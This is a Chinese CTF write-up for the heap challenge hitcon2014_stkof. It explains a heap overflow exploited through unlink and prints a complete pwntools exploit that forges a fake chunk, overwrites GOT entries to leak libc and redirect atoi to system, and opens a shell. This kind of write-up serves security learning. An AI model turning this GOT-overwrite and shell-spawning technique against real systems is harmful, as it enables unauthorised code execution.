【PWN · heap | unlink】hitcon2014_stkof

news2024/11/27 19:52:50

初学,通过一道题初步掌握unlink。不教学unlink的具体过程,仅是一篇wp记录笔记


前言

教学和具体过程可以看这个大佬的博客:

buuctf pwn hitcon2014_stkof 初识unlink_buuctf hitcon2014_stkof-CSDN博客


一、题目

fill函数可读大量字符,造成堆溢出。

可以通过unlink进行利用控制:

如果存在区域连续存放结构体指针存在堆溢出或其他漏洞修改结构体控制头部字段、常存在edit操作

最终效果:可以edit这些结构体指针区域的指针,再通过指针任意地址写

二、exp

from pwn import *
from pwn import p64
context(arch='amd64',log_level='debug')

io=process('./pwn')
# io=remote('node4.buuoj.cn',25122)
elf=ELF('./pwn')
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
free_got=elf.got['free']
free_plt=elf.plt['free']
atoi_got=elf.got['atoi']
atoi_plt=elf.plt['atoi']

def fill(index,size,payload):
    io.sendline(b'2')
    io.sendline(str(index).encode())
    io.sendline(str(size).encode())
    io.send(payload)
    io.recvuntil(b'OK\n')

def free(index):
    io.sendline(b'3')
    io.sendline(str(index).encode())
    

def alloc(size):
    io.sendline(b'1')
    io.sendline(str(size).encode())
    cnt=int(io.recvuntil(b'\n',drop=True))
    io.recvuntil(b'OK\n')
    success('num of chunk:{}'.format(cnt))

initptr=0x602140
# gdb.attach(io)
alloc(0x100) #为了触发输入输出缓冲区的malloc而操作,后面没用
# 构造伪chunk
# 但是大小和填充(就算正确构造了位置上的fake chunk,有时候还是会遇到double-link报错
alloc(0x20) 

alloc(0x80) # free掉的时候触发unlink

##### 构造fake chunk、修改临近smallbin-chunk控制头部字段
chunk2_ptr=initptr+2*0x8 # 第二块,块数从1计
fd=chunk2_ptr-0x18; bk=chunk2_ptr-0x10
payload=p64(0)+p64(0x21)+p64(fd)+p64(bk) # fake chunk
# 很奇怪,这里构造fake chunk一不小心就会爆double-link的错误,不知道为什么
# payload=payload.rjust(0x60,b'a') 之前第二个开了0x60的大小,用b'a'填充开头但是报错。。。
payload+=p64(0x20)+p64(0x90) # 溢出修改chunk3的prev_size和(size+prev_inuse)构成unlink
fill(2,len(payload),payload)

##### free smallbin-chunk触发unlink
free(3)
io.recvuntil(b'OK\n') 
# 之所以单独拿出来是因为后面篡改free后,要泄露地址,方便接收

# chunk0指针改为指向puts_got,chunk1指针指向free_got
payload=p64(0)  #0x602138
           #0x602140     #0x602148     #0x602150     #0x602158 对应第0、1、2个chunk,也就是fill的index
payload+=p64(puts_got)+p64(free_got)+p64(0x602138)+p64(puts_got)
fill(2,len(payload),payload)

# 修改free_got为puts_plt
payload=p64(puts_plt)
fill(1,len(payload),payload)

# 泄露puts_got地址
free(3)
puts=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success('puts real addr:{}'.format(hex(puts)))
io.recvuntil(b'OK\n') 

# 获得system、/bin/sh字符串的真实地址
libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search(b'/bin/sh\x00'))

# 思路1:
# 更改free为system,更改指针指向bin_sh,然后free该指针构成system('/bin/sh')
# 重新修改栈上内容
# payload=p64(0)  #0x602138
            #0x602140    #0x602144  对应第0、1个chunk指针
# payload+=p64(free_got)+p64(bin_sh)
# fill(2,len(payload),payload)
# payload=p64(system)
# fill(0,len(payload),payload)
# free(1)
# 成功getshell
 
# 思路2:
# 更改atoi为system,手动输入/bin/sh字符串
# 重新修改栈上内容
payload=p64(0)
payload+=p64(atoi_got)
fill(2,len(payload),payload)
# 更改atoi为system
payload=p64(system)
fill(0,len(payload),payload)
raw_input()
io.sendline(b'/bin/sh\x00')
# 成功getshell

io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1175291.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

正点原子嵌入式linux驱动开发——Linux WIFI驱动

WIFI的使用已经很常见了,手机、平板、汽车等等,虽然可以使用有线网络,但是有时候很多设备存在布线困难的情况,此时WIFI就是一个不错的选择。正点原子STM32MP1开发板支持USB和SDIO这两种接口的WIFI,本章就来学习一下如何…

springboot前后端时间类型传输

springboot前后端时间类型传输 前言1.java使用时间类型java.util.Date2.java使用localDateTime 前言 springboot前后端分离项目总是需要进行时间数据类型的接受和转换,针对打代码过程中不同的类型转化做个总结 1.java使用时间类型java.util.Date springboot的项目中使用了new …

基于前馈神经网络完成鸢尾花分类

目录 1 小批量梯度下降法 1.0 展开聊一聊~ 1.1 数据分组 1.2 用DataLoader进行封装 1.3 模型构建 1.4 完善Runner类 1.5 模型训练 1.6 模型评价 1.7 模型预测 思考 总结 参考文献 首先基础知识铺垫~ 继续使用第三章中的鸢尾花分类任务,将Softm…

OCS2工具箱

实时系统优化控制工具箱 参考视频:ETH 最优控制/MPC 实时求解器 OCS2 使用入门 参考文档:OCS2 求解器入门 选择OCS2 OCS2 是一个 MPC 实时求解器 (SLQ/iLQR),依赖 Pinocchio 构建机器人动力学模型,采用 RViz 或者 RaiSim 验证 (…

Ansible 自动化运维工具 --- playbook 剧本

文章目录 1. Host inventory ---- 主机清单1.1 简介1.2 inventory文件1.3 Inventory 文件的构成1.3.1 主机与组1.3.2 变量 1.4 inventory 中的常用变量 2. Ansible-playbook剧本2.1 简介2.2 Playbook的结构组成2.3 编写playbook的基本格式与写法2.3.1 基本格式2.3.2 语句的横向…

C语言打印出九九乘法表

#include<stdio.h> int main() {int i,j;for(i1;i<9;i){for(j1;j<9;j){printf("%d*%d%d\t",i,j,i*j); //\t制表符}printf("\n"); //\n输出个回车} }

Redis03-过期策略和淘汰策略

目录 Redis数据过期策略 Redis数据淘汰策略 Redis数据过期策略 Redis使用一种基于过期策略来处理键的过期和自动失效。这种策略可以确保不再需要的数据被自动删除&#xff0c;以释放内存并避免数据过期后仍然在缓存中存留。 Redis的过期删除策略主要有两种&#xff1a; 惰性…

【MySQL数据库】 四

本文主要介绍了mysql数据库的几种常见的约束. 一.数据库约束 我们希望存储的数据是靠谱的,mysql提供一些机制来辅助我们自动的依赖程序对数据进行检查 . 这类查数据的机制,就是约束 一旦约束好了,后续在进行增 删 改的时候,mysql就会自动的对修改的数据做出检查,如果不符合…

并发编程: 2. 线程管控

给定一个线程&#xff0c;只要令std::thread对象与之关联&#xff0c;就能管控该线程的几乎每个细节。 2.1 线程的基本管控 2.1.1 发起线程 线程通过构建std::thread对象而启动&#xff0c;该对象指明线程要运行的任务&#xff08;函数&#xff09;。简单的任务&#xff0c;…

【大数据】NiFi 中的重要术语

NiFi 中的重要术语 1.Flow Controller2.Processor3.Connection4.Controller Service5.Process Group6.FlowFile 那些一个个黑匣子称为 Processor&#xff0c;它们通过称为 Connection 的队列交换名为 FlowFile 的信息块。最后&#xff0c;FlowFile Controller 负责管理这些组件…

隐私安全|隐私安全已从国家法律法规转向商业企业应用,如何理解以及落地建设,相信大家正在经历隐私安全的困扰

网络空间的隐私安全主要是指网络隐私权不受侵犯&#xff0c;网络隐私权是指自然人在网上享有的&#xff0c;与公共利益无关的个人活动领域与个人信息秘密依法受到保护&#xff0c;不被他人非法侵扰&#xff0c;知悉收集&#xff0c;利用和公开的一种人格权&#xff0c;也包括第…

基于鹰栖息算法的无人机航迹规划-附代码

基于鹰栖息算法的无人机航迹规划 文章目录 基于鹰栖息算法的无人机航迹规划1.鹰栖息搜索算法2.无人机飞行环境建模3.无人机航迹规划建模4.实验结果4.1地图创建4.2 航迹规划 5.参考文献6.Matlab代码 摘要&#xff1a;本文主要介绍利用鹰栖息算法来优化无人机航迹规划。 1.鹰栖息…

ActiveMq学习⑧__ActiveMQ的消息持久化机制

ActiveMQ的消息存储和持久化 MQ的高可用 事务持久签收可持久化 &#xff08;类似于与mq消息的同步机制&#xff09; 为了避免意外宕机以后丢失信息&#xff0c;需要做到重启后可以恢复消息队列&#xff0c;消息系统一半都会采用持久化机制。 ActiveMQ的消息持久化机制 Act…

canvas实现刮奖功能

canvas刮奖原理很简单&#xff0c;就是在刮奖区添加两个canvas&#xff0c;第一个canvas用于显示刮开后显示的内容&#xff0c;可以是一张图片或一个字符串&#xff0c;第二个canvas用于显示涂层&#xff0c;可以用一张图片或用纯色填充&#xff0c;第二个canvas覆盖在第一个ca…

逆向学习记录(5)刷机

首要前提&#xff1a;手机刷机必须OEM解锁&#xff08;BL解锁&#xff09;&#xff0c;否则不能刷机&#xff01; 1、根据手机机型下载手机系统包&#xff0c;首次登陆网址需要同意协议。然后在右侧选机型&#xff0c;中间就出来各种适合本机型的系统。 下载网址 https://dev…

47基于matlab的水印提取,将水印和载体进行图像融合

基于matlab的水印提取&#xff0c;将水印和载体进行图像融合&#xff0c;成为一体&#xff0c;可对合成图像进行加噪处理&#xff0c;剪切处理&#xff0c;小波压缩处理&#xff0c;旋转处理等操作&#xff0c;最后对合成图像实现水印提取&#xff0c;程序已调通&#xff0c;可…

【AI好好玩02】利用Lama Cleaner本地实现AIGC试玩:擦除对象、替换对象、更换风格等等

目录 一、安装二、擦除功能1. LaMa模型实操实例一&#xff1a;去除路人实操实例二&#xff1a;去水印实操实例三&#xff1a;老照片修复 2. LDM模型3. ZITS模型4. MAT模型5. FcF模型6. Manga模型 三、替换对象功能1. sd1.52. sd23. anything44. realisticVision1.45. 四个模型的…

Tomcat安装配置教程

目录 1、安装tomcat1.1、查看JDK版本1.2、 匹配对应的JDK版本1.3、 下载Tomcat1.3.1、 安装包版&#xff08;推荐&#xff0c;不用配环境&#xff09;1.3.2、 压缩包版 2、 运行Tomcat3、 不能运行问题 1、安装tomcat 1.1、查看JDK版本 由于不同版本tomcat对于jdk的版本有要求…

Mac 下安装golang环境

一、下载安装包 安装包下载地址 下载完成&#xff0c;直接继续----->下一步到结束即可安装成功&#xff1b; 安装成功之后&#xff0c;验证一下&#xff1b; go version二、配置环境变量 终端输入vim ~/.zshrc进入配置文件&#xff0c;输入i进行编辑 打开的不管是空文本…

redis教程 二 redis客户端Jedis使用

文章目录 Redis的Java客户端-JedisJedis快速入门创建工程&#xff1a;引入依赖&#xff1a;建立连接测试&#xff1a;释放资源Jedis连接池创建Jedis的连接池改造原始代码 Redis的Java客户端-SpringDataRedis快速入门导入pom坐标配置文件测试代码 数据序列化器StringRedisTempla…